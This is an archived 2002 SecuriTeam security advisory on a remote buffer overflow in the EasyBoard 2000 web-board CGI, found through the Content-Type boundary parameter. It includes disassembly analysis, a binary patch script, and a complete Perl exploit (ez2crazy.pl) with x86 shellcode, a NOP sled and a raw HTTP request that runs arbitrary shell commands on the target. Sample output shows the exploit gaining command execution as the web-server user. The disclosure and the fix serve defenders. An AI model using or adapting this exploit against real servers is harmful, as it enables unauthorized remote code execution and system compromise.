

[UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0072.html>

From: support@securiteam.com

Date: 02/12/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 12 Feb 2002 18:14:47 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

EasyBoard 2000 Remote Buffer Overflow Vulnerability

SUMMARY

<<http://ezboard.new21.org>> EasyBoard 2000 is a web board CGI. Malformed user-supplied input to the Content-Type header can create a buffer overflow condition. This vulnerability allows arbitrary remote code execution with the privileges of the web server.

DETAILS

Vulnerable systems:

EasyBoard 2000 version 1.27xx

Vulnerable CGIs:

Vulnerable CGIs are ezboard.cgi, ezman.cgi and ezadmin.cgi.

```
$ strings ezboard.cgi | grep -- "--%s"
--%s
```

```
$ strings ezman.cgi | grep -- "--%s"
--%s
```

```
$ strings ezadmin.cgi | grep -- "--%s"
--%s
```

Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

Analysis of ezboard.cgi:

```
$ objdump -s ezboard.cgi | less
```

```
806ad60 4700504f 53540043 4f4e5445 4e545f54 G.POST.CONTENT_T
806ad70 59504500 00000000 00000000 00000000 YPE.....
806ad80 6170706c 69636174 696f6e2f 782d7777 application/x-ww
806ad90 772d666f 726d2d75 726c656e 636f6465 w-form-urlencoded
806ada0 64002600 3d007365 6c6e756d 00434f4e d.&.=.selnum.CON
806adb0 54454e54 5f4c454e 47544800 00000000 TENT_LENGTH.....
806adc0 6d756c74 69706172 742f666f 726d2d64 multipart/form-d
806add0 6174613b 20626f75 6e646172 793d002d ata; boundary=- <---
0x806addf
806ade0 2d257300 0d0a2573 00000000 00000000 -%s...%s..... "--%s"
806adf0 00000000 00000000 00000000 00000000 .....
806ae00 436f6e74 656e742d 44697370 6f736974 Content-Disposit
806ae10 696f6e3a 20666f72 6d2d6461 74613b20 ion: form-data;
806ae20 002d2d00 3b206669 6c656e61 6d650025 .---.; filename.%
```

```
$ objdump -d ezboard.cgi | less
```

```
804aff5: 57 push %edi
804aff6: 68 df ad 06 08 push $0x806addf ----> "--%s"
804affb: 8d 9d e8 fe ff ff lea 0xfffffee8(%ebp),%ebx
804b001: 53 push %ebx
804b002: e8 89 e5 ff ff call 0x8049590
```

```
$ gdb ezboard.cgi
```

```
(gdb) disassemble 0x804aff6
```

```
0x804af84 <strcpy+6500>: push %ebp
0x804af85 <strcpy+6501>: mov %esp,%ebp
0x804af87 <strcpy+6503>: push %edi
0x804af88 <strcpy+6504>: push %esi
0x804af89 <strcpy+6505>: push %ebx
0x804af8a <strcpy+6506>: sub $0x648,%esp

0x804af90 <strcpy+6512>: mov $0x806adc0,%edi
0x804af95 <strcpy+6517>: cld
0x804af96 <strcpy+6518>: mov $0xffffffff,%ecx
0x804af9b <strcpy+6523>: mov $0x0,%al
0x804af9d <strcpy+6525>: repnz scas %es:(%edi),%al
0x804af9f <strcpy+6527>: not %ecx
0x804afa1 <strcpy+6529>: dec %ecx
0x804afa2 <strcpy+6530>: mov %ecx,0xffff9e0(%ebp)

    delim_len = strlen("multipart/form-data; boundary=");

0x804afa8 <strcpy+6536>: push $0x806ad67 "CONTENT_TYPE"
0x804afad <strcpy+6541>: call 0x8049210 <getenv>
0x804afb2 <strcpy+6546>: mov %eax,%ebx
```

Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

```
content_type = getenv("CONTENT_TYPE");
```

```
0x804afb4 <strcpy+6548>: lea 0xffff9e4(%ebp),%eax
0x804afba <strcpy+6554>: mov %eax,(%esp,1)
0x804afbd <strcpy+6557>: call 0x804aee4 <strcpy+6340>
0x804afc2 <strcpy+6562>: mov %eax,%esi
0x804afc4 <strcpy+6564>: sub $0x8,%esp
```

```
0x804afc7 <strcpy+6567>: push $0x806adc0
0x804afcc <strcpy+6572>: push %ebx
0x804afcd <strcpy+6573>: call 0x8049360 <strchr>
```

```
(gdb) x/s 0x806adc0
```

```
0x806adc0 <_IO_stdin_used+1756>: "multipart/form-data; boundary="
```

```
delim = strstr(content_type, "multipart/form-data; boundary=");
```

```
0x804afd2 <strcpy+6578>: add $0x20,%esp
0x804afd5 <strcpy+6581>: mov %eax,%edi
0x804afd7 <strcpy+6583>: test %edi,%edi
0x804afd9 <strcpy+6585>: jne 0x804afec <strcpy+6604>
0x804afdb <strcpy+6587>: sub $0xc,%esp
0x804afde <strcpy+6590>: pushl 0x806fe6c
0x804afe4 <strcpy+6596>: call 0x804cc2c <strcpy+13836>
0x804afe9 <strcpy+6601>: add $0x10,%esp
```

```
0x804afec <strcpy+6604>: add 0xffff9e0(%ebp),%edi
```

```
delim += delim_len;
```

```
0x804aff2 <strcpy+6610>: sub $0x4,%esp
```

```
0x804aff5 <strcpy+6613>: push %edi
0x804aff6 <strcpy+6614>: push $0x806addf
0x804affb <strcpy+6619>: lea 0xfffffee8(%ebp),%ebx
0x804b001 <strcpy+6625>: push %ebx
0x804b002 <strcpy+6626>: call 0x8049590 <sprintf>
```

```
char boundary[280];
sprintf(boundary, "--%s", delim);
```

The disassembled code is like the C code:

```
parse_multipart()
{
    char boundary[280];

    ...

    delim = strstr(getenv("CONTENT_TYPE"), "multipart/form-data;
boundary=");
```

Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

```
delim += strlen("multipart/form-data; boundary=");  
sprintf(boundary, "--%s", delim);
```

```
...  
}
```

We can see that sprintf() function call can create buffer overflow condition.

Exploit:

```
#!/usr/bin/perl  
# ez2crazy.pl  
#  
# Remote Buffer Overflow x86 Linux Exploit for  
# CrazyWWWBoard(http://www.crazywwwboard.com),  
# EasyBoard 2000(http://ezboard.new21.org) and  
# CGIs using qDecoder 4.0~5.0.8  
#  
# Excessive boundary delimiter string in the header  
# "Content-Type: multipart/form-data" permits the buffer overflow attack.  
#  
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11
```

```
$usage =  
"usage: ez2crazy.pl [options] CGI-URL\n  
CGI-URL URL of the target CGI  
-c command Bourne shell command  
      Default: '/bin/echo 00ps, Crazy!;id'  
-o offset Offset of the egg shell code,  
      Recommended [-300,+300]
```

example)

```
ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi  
ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi  
ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \<\  
target.com/cgi-bin/vulnerable.cgi
```

```
";
```

```
use Getopt::Std;  
getopt('oc');
```

```
if ($#ARGV < 0) {  
    print $usage;  
    exit(0);  
};
```

```
$cgiurl = $ARGV[0];  
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!;id";  
$offset = $opt_o ? $opt_o : 0;
```

Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

```
$cgiurl =~ s/http://\//;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;

$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);

$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
  "\xeb\x37" # jmp 0x37
  "\x5e" # popl %esi
  "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi)
  "\x89\xf0" # movl %esi,%eax
  "\x83\xc0\x08" # addl $0x8,%eax
  "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
  "\x89\xf0" # movl %esi,%eax
  "\x83\xc0\x0b" # addl $0xb,%eax
  "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
  "\x31\xc0" # xorl %eax,%eax
  "\x88\x46\x07" # movb %eax,0x7(%esi)
  "\x4e" # dec %esi
  "\x88\x46\x0b" # movb %eax,0xb(%esi)
  "\x46" # inc %esi
  "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
  "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
  "\xb0\x0b" # movb $0xb,%al
  "\x89\xf3" # movl %esi,%ebx
  "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx
  "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
  "\xcd\x80" # int 0x80
  "\x31\xdb" # xorl %ebx,%ebx
  "\x89\xd8" # movl %ebx,%eax
  "\x40" # inc %eax
  "\xcd\x80" # int 0x80
  "\xe8\xc4\xff\xff\xff" # call -0x3c
  "/bin/sh0-c0" # .string "/bin/sh0-c0"
$command;

$offset -= length($command) / 2 + length($host . $port . $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
      . pack(V, $entries) x 2 . pack(V, $jump) x 2;

$content = substr($egg, 254) .
  "--\r\nContent-Disposition: form-data;
name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);
```

Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

```
$exploit =
"POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,
*/*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength
```

```
$content
";
```

```
use Socket;
$iaaddr = inet_aton($host) or die("Error: $!\n");
$paaddr = sockaddr_in($port, $iaaddr) or die("Error: $!\n");
$proto = getprotobyname('tcp') or die("Error: $!\n");
```

```
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die("Error: $!\n");
connect(SOCKET, $paaddr) or die("Error: $!\n");
send(SOCKET, $exploit, 0) or die("Error: $!\n");
while (<SOCKET>) {
    print;
}
close(SOCKET);
```

~~~~~ cut here ~~~~~

– example

```
$ ./ez2crazy.pl -o -250 http://vulnerable.net/ezboard/ezboard.cgi
HTTP/1.1 200 OK
Date: Sun, 10 Feb 2002 19:08:46 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6
DAV/1.0.2 PHP/4.0.4p11 mod_perl/1.24_01
Connection: close
Content-Type: text/html
```

```
00ps, Crazy!
uid=48(apache) gid=48(apache) groups=48(apache)
```

### 5 Vulnerability Fix

The vulnerability can be fixed by replacing `sprintf(boundary, "---%s", delim)` with `sprintf(boundary, "---%.200s", delim)`.

The following code fixes the binary programs of EasyBoard 2000 x86 Linux version.

## Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

```
~~~~~ cut here ~~~~~
#!/usr/bin/perl
ezboard-fix.pl
#
EasyBoard 2000 Buffer Overflow Vulnerability Fix for x86 Linux version
#
Run this program in the directory where ezboard.cgi exists.
#
Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 2002/02/11

LOOP:
for $cgi_file ("ezboard.cgi", "ezadmin.cgi", "ezman.cgi") {
 if (! -e $cgi_file) {
 print "$cgi_file does not exist.\n";
 next LOOP;
 }

 $cgi_content=`cat $cgi_file`;

 if (index($cgi_content, "EasyBoard 2000") == -1 ||
 index($cgi_content, "ld-linux.so") == -1) {
 print "$cgi_file is not EasyBoard 2000 for x86 Linux.\n";
 next LOOP;
 }

 @obj_header = split(' ', `objdump -h $cgi_file | grep rodata`);
 $moff_section = hex($obj_header[3]);
 $foff_section = hex($obj_header[5]);
 $foff_fmtstr = index($cgi_content, "--%s");
 $moff_fmtstr = $moff_section + $foff_fmtstr - $foff_section;
 $foff_push = index($cgi_content, pack("V", $moff_fmtstr));
 if ($foff_push == -1) {
 print "$cgi_file is already fixed!\n";
 next LOOP;
 }

 printf "$cgi_file: '--%s' = 0x%08x, push '--%s' = 0x%08x\n",
 $foff_fmtstr, $foff_push;

 open(CGI, "+<$cgi_file") or die "cannot open $cgi_file: $!";
 seek(CGI, $foff_fmtstr + 17, SEEK_SET);
 print CGI "--%.200s";
 seek(CGI, $foff_push, SEEK_SET);
 print CGI pack("V", $moff_fmtstr + 17);
 close(CGI);
}

```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:jhyou@chonnam.chonnam.ac.kr>>  
Jin Ho You.

## Securiteam: [UNIX] EasyBoard 2000 Remote Buffer Overflow Vulnerability

=====  
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====  
**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Default HELP System of Internet Explorer Allows Arbitrary Code Execution"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)